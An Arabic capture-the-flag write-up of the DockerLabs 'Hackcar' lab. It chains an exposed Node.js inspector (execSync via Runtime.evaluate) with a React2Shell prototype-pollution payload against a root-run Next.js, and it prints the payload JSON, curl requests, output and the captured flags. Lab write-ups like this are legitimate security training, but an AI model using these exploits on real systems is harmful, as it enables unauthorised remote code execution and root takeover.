
تقرير: Hackcar - DockerLabs (Node.js Inspector RCE + CVE-2025-55182 React2Shell)
المنصة: DockerLabs الصعوبة: متوسطة (إلى حد ما، فيها تعقيدها) الهدف: من
webuserإلىrootعبر كسر Next.js
كالعادة، أولاً وقبل كل شيء: نرى ما أمامنا.
nmap -sC -sV -T4 172.17.0.2
PORT STATE SERVICE VERSION
8080/tcp open http Node.js (Express middleware)
9229/tcp open http ????
انتظر... ¿9229؟ هذا المنفذ ليس طبيعياً. وفحص كامل يؤكد وجود منفذين فقط:
nmap -p- --min-rate 1000 -T4 172.17.0.2
PORT STATE SERVICE
8080/tcp open http-proxy
9229/tcp open unknown
المنفذ 9229 هو المنفذ النموذجي لـ Node.js inspector (debugger). إذا كان مكشوفاً بدون حماية، فهو ببساطة باب مفتوح لتنفيذ الأكواد. لنتحقق.
curl -s http://172.17.0.2:9229/json
[{
"description": "node.js instance",
"title": "/home/webuser/node_app/app.js",
"webSocketDebuggerUrl": "ws://172.17.0.2:9229/..."
}]
يا للهول. debugger الخاص بـ Node مكشوف، بدون مصادقة، وحتى يخبرنا أين يعيش التطبيق. هذا RCE مباشر.
مع debugger مكشوف، نحتاج فقط للاتصال بـ WebSocket واستخدام Runtime.evaluate لتنفيذ ما نريد داخل عملية Node.
صنعت سكريبت سريعاً بـ Python يستخرج عنوان URL الخاص بالـ debugger وينفذ الأوامر باستخدام process.mainModule.require('child_process').execSync():
expression = ("process.mainModule.require('child_process')"
f".execSync(Buffer.from('{b64}', 'base64').toString()).toString()")
لتجنب المشاكل مع علامات الاقتباس، أرسل الأمر كاملاً بصيغة base64 وأفك ترميزه داخل العملية نفسها. أول اختبار:
python3 node_rce.py "id"
uid=1001(webuser) gid=1001(webuser) groups=1001(webuser)
RCE كـ webuser. الجهاز في أيدينا... أو هكذا اعتقدت. اتضح أن الجزء الممتع كان مخفياً أكثر.
لنفحص العمليات لنرى ما يعمل أيضاً على الجهاز:
ps auxww
root 7 0.0 0.0 sudo -u webuser node --inspect=0.0.0.0:9229 /home/webuser/node_app/app.js
root 8 0.0 0.0 npm exec next dev -p 3000 -H 127.0.0.1
root 30 0.0 0.0 node /root/react_app/node_modules/.bin/next dev -p 3000 -H 127.0.0.1
root 42 0.8 2.4 next-server (v15.0.0-rc.1)
انتبه للتفاصيل! هناك Next.js إصدار 15.0.0-rc.1 يعمل كـ ROOT على المنفذ 3000 (localhost فقط). هذا يبدو كامتياز... وكـ CVE.
بما أنه يستمع فقط على 127.0.0.1 داخل الحاوية، لا يمكننا الوصول إليه من الخارج. لكن لدينا RCE، لذا يمكننا الدخول من الداخل. أولاً لنرَ ما هو:
curl -s http://127.0.0.1:3000/
يظهر "Internal Administration Portal" — بوابة إدارة داخلية. كل شيء مغري جداً.
وجدنا flag الخاص بالمستخدم بسرعة:
DL{g2QrDUvg3HiqaWeZBbZa}
والآن حان وقت الترقية إلى root عبر هذا Next.js.
الإصدار هو Next.js 15.0.0-rc.1، الذي يستخدم React 19 المعرض لـ React2Shell (CVE-2025-55182) الشهير: RCE حرج (CVSS 10.0) بسبب prototype pollution في parser RSC (React Server Components / Flight protocol).
الاستغلال هو multipart/form-data مشوّه مع header Next-Action، مما يجعل parser الخاص بـ React يفك تسلسل كائن مسموم ينتهي به الأمر باستدعاء Function constructor مع الكود الخاص بنا:
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B0\"}",
"_response": {
"_prefix": "<CÓDIGO JS A EJECUTAR>",
"_formData": {"get": "$1:constructor:constructor"}
}
}
أي: يتم تسميم Chunk.prototype.then، يحمّل parser النموذج الخاص بنا، وعند حل الـ promise يتم تنفيذ JavaScript الخاص بنا في عملية Next.js، التي تعمل كـ root.
لاستخراج المخرجات استخدمت وضع "redirect": الكود ينفذ الأمر، يحوّل النتيجة إلى base64 ويضعها في خاصية digest لـ Error، الذي يعيده Next.js كـ header:
var o = Buffer.from(process.mainModule.require('child_process').execSync('CMD')).toString('base64');
var e = new Error();
e.digest = 'NEXT_REDIRECT;push;http://x/' + o + ';307;';
throw e;
الطلب النهائي:
curl -s -D - -o /dev/null -X POST http://127.0.0.1:3000/ \
-H 'Next-Action: x' \
-F '0=</tmp/p0.txt' \
-F '1=</tmp/p1.txt'
يستجيب الخادم بـ 500 (هذا طبيعي، إنه خطأ متعمد) وفي الـ header:
x-action-redirect: /login?a=dWlkPTAocm9vdCkgZ2lkPTAocm9vdCkgZ3JvdXBzPTAocm9vdCkK...
نفك الترميز:
echo 'dWlkPTAocm9vdCkgZ2lkPTAocm9vdCkgZ3JvdXBzPTAocm9vdCkK' | base64 -d
uid=0(root) gid=0(root) groups=0(root)
نحن ROOT. و flag:
python3 react2shell.py "cat /root/root.txt"
DL{Z8Gc5NFYMrH3W4vv5ZWa}
nmap
└─ 8080 (web Express, estática, puro humo)
└─ 9229 (Node.js inspector EXPUESTO)
└─ RCE como webuser via Runtime.evaluate
└─ Enumeración: Next.js 15.0.0-rc.1 en 127.0.0.1:3000 como ROOT
└─ CVE-2025-55182 (React2Shell): RCE root
└─ flag: DL{Z8Gc5NFYMrH3W4vv5ZWa}
Flags:
| الملف | Flag |
|---|---|
/home/webuser/user.txt | DL{g2QrDUvg3HiqaWeZBbZa} |
/root/root.txt | DL{Z8Gc5NFYMrH3W4vv5ZWa} |
| # | الثغرة | CWE | ما منحنا إياه |
|---|---|---|---|
| 1 | Node.js inspector بدون مصادقة (المنفذ 9229) | CWE-284 | RCE كـ webuser |
| 2 | Next.js 15.0.0-rc.1 قديمة (React2Shell, CVE-2025-55182) | CWE-1321 / CWE-502 | RCE كـ root |
الدروس:
| الأداة | الاستخدام |
|---|---|
nmap | استطلاع المنافذ |
curl | الاستطلاع على الويب وإطلاق الاستغلال |
websocket-client (Python) | التحدث مع inspector الخاص بـ Node |
jadx | الجهاز السابق (ليس هنا، لكنه لا يزال يبدو جميلاً بالنسبة لي) |
base64 | نقل payloads بدون مشاكل مع علامات الاقتباس |
Writeup لأغراض تعليمية. تعامل فقط مع الأجهزة التي لديك إذن بها (DockerLabs، HTB، مختبرك الخاص).